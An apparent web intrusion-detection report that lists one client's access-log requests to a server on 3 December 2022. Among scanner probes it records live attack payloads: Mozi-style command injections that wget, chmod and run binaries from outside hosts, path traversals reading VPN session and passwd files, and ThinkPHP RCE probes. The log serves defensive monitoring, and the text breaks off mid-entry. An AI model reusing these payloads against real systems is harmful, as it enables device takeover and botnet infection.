Summary: 3 incidents discovered from one client

	192.168.21.127 | 3 incidents | impact ∑: 38	attacks only
	Description: A human attacker and random scan and targeted scan yesterday. A total of 3 incidents where discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 00:16:21 +0100 GET /version HTTP/1.1 404 456 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 00:33:31 +0100 GET / HTTP/1.1 200 117924 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 01:01:34 +0100 GET / HTTP/1.1 200 117924 - Hello World 13 dt id lfi xss csrf - 192.168.21.127 - - Sat, 03 Dec 2022 01:40:12 +0100 GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1 404 457 - Python-urllib/3.8 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 03:37:01 +0100 GET / HTTP/1.1 200 6035 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 03:42:22 +0100 POST /HNAP1/ HTTP/1.0 408 487 - - 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 03:58:37 +0100 GET /robots.txt HTTP/1.1 404 462 - Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:23:37 +0100 GET /shell?cd /tmp;rm -rf *;wget http://192.168.1.1:8088/Mozi.a;chmod 777 Mozi.a;/tmp/Mozi.a jaws HTTP/1.1 404 456 - Hello, world 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:27:07 +0100 GET / HTTP/1.1 200 117924 - Hello World 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:24 +0100 GET /db/phpmyadmin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:24 +0100 GET /admin/web/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:24 +0100 GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:24 +0100 GET /phpmyadmin5/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:24 +0100 GET /db/phpMyAdmin-5/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:24 +0100 GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:24 +0100 GET /db/websql/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:24 +0100 GET /_phpmyadmin_/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:24 +0100 GET /db/phpMyAdmin-4/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:24 +0100 GET /mysqladmin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:24 +0100 GET /sql/websql/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /phpMyAdmin-5.2.0-all-languages/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /2phpmyadmin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /administrator/PMA/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /mysql/pma/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /phpmyadmin1/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /mysql/dbadmin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /phpmyadmin2014/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /phpMyAdmin-5.1.2/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /phpMyAdmin-latest-all-languages/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /phpmyadmin1/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /_phpMyAdmin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:25 +0100 GET /phpMyAdmin3/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /mysql/pma/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /shopdb/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /db/dbadmin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /phpmyadmin2020/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /phppma/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /phpMyAdmin-5.1.1/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /administrator/PMA/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /sql/phpmyadmin5/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /administrator/pma/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /mysqlmanager/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /phpMyadmin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /phpmyadmin2016/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /sql/sql-admin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:26 +0100 GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /administrator/web/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /phpMyAdmin1/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /sqlmanager/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /phpmy-admin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /administrator/admin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /phpmyadmin2014/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /sql/websql/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /phpMyAdmin-5/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /admin/db/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /db/websql/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /phpMyAdmin-latest-all-languages/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:27 +0100 GET /phpMyAdmin-5.2.0-all-languages/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:28 +0100 GET /db/phpMyAdmin-5/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:28 +0100 GET /db/db-admin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:28 +0100 GET /phpmyadmin2016/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:28 +0100 GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:28 +0100 GET /db/phpmyadmin4/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:41:28 +0100 GET /sql/sqladmin/index.php?lang=en HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:43:36 +0100 GET /2020_08_14_vipex_access.log.1.html HTTP/1.1 200 31168 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.110 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 04:58:23 +0100 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 05:10:31 +0100 GET / HTTP/1.1 200 117925 - Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 05:10:53 +0100 GET /_profiler/phpinfo HTTP/1.1 404 456 - - 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 05:10:54 +0100 GET /phpinfo.php HTTP/1.1 503 569 - - 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 05:10:54 +0100 GET /php.php HTTP/1.1 503 569 - - 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 05:20:16 +0100 GET / HTTP/1.1 200 6035 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 05:47:37 +0100 GET /2021_12_24_vipex_access.log.1.html HTTP/1.1 304 145 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.110 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 06:16:40 +0100 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1 503 569 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 12 xss csrf id rfe lfi - 192.168.21.127 - - Sat, 03 Dec 2022 07:04:51 +0100 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1 200 6058 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 07:37:09 +0100 GET /actuator/health HTTP/1.1 404 456 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 07:56:26 +0100 GET / HTTP/1.1 200 6058 - Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 08:15:40 +0100 GET / HTTP/1.1 200 118418 - Hello World 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 08:20:18 +0100 GET /.env HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 08:49:17 +0100 GET /_ignition/execute-solution HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 09:20:31 +0100 GET /admin/modules/fw_ari/htdocs_ari/index.php HTTP/1.0 404 449 - xfa1 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 09:44:05 +0100 GET /favicon.ico HTTP/1.1 404 456 - Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 10:02:01 +0100 GET / HTTP/1.1 200 118418 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 10:08:56 +0100 GET /favicon.ico HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 10:23:07 +0100 POST /cgi-bin/../../../../bin/sh HTTP/1.1 400 488 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 10:49:13 +0100 GET / HTTP/1.1 200 118419 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 10:54:10 +0100 GET / HTTP/1.1 200 6058 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 11:14:23 +0100 GET / HTTP/1.1 200 6058 - Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 11:36:01 +0100 GET /actuator/gateway/routes HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 12:06:52 +0100 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm -rf /tmp/*;wget http://61.53.88.163:57532/Mozi.m -O /tmp/netgear;sh netgear&curpath=/&currentsetting.htm=1 HTTP/1.0 404 461 - - 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 12:25:16 +0100 GET / HTTP/1.1 200 118424 - Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 13:06:45 +0100 GET /cgi-bin/masterCGI?ping=nomip&user=;cd${IFS}/tmp;wget${IFS}http://185.132.53.105/f/strs.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}Alcatel; HTTP/1.1 404 456 - - 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 13:16:56 +0100 GET /.env HTTP/1.1 404 456 - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 13:17:13 +0100 GET / HTTP/1.1 200 118418 - HTTP Banner Detection (https://security.ipip.net) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 13:35:08 +0100 GET / HTTP/1.1 200 6058 - Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:08:57 +0100 POST /boaform/admin/formLogin HTTP/1.1 404 456 http://91.223.222.117:80/admin/login.asp Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:38 +0100 OPTIONS / HTTP/1.0 200 192 - - 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:39 +0100 GET /nice ports,/Trinity.txt.bak HTTP/1.0 404 461 - - 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:45 +0100 OPTIONS / HTTP/1.0 200 192 - - 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 OPTIONS / RTSP/1.0 400 - - - 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET /autodiscover/autodiscover.json?@abc.com/owa/?&Email=autodiscover/autodiscover.json?@abc.com HTTP/1.1 404 462 - curl/7.54.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET /rest/applinks/1.0/manifest HTTP/1.1 404 462 - curl/7.54.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1 400 494 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET / HTTP/1.1 200 118424 - curl/7.54.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 POST /casa/nodes/thumbprints HTTP/1.1 404 448 - Guayoyo - Mozilla/5.0 (compatible; vCenter) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET /logon/LogonPoint/tmindex.html HTTP/1.1 404 462 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 POST 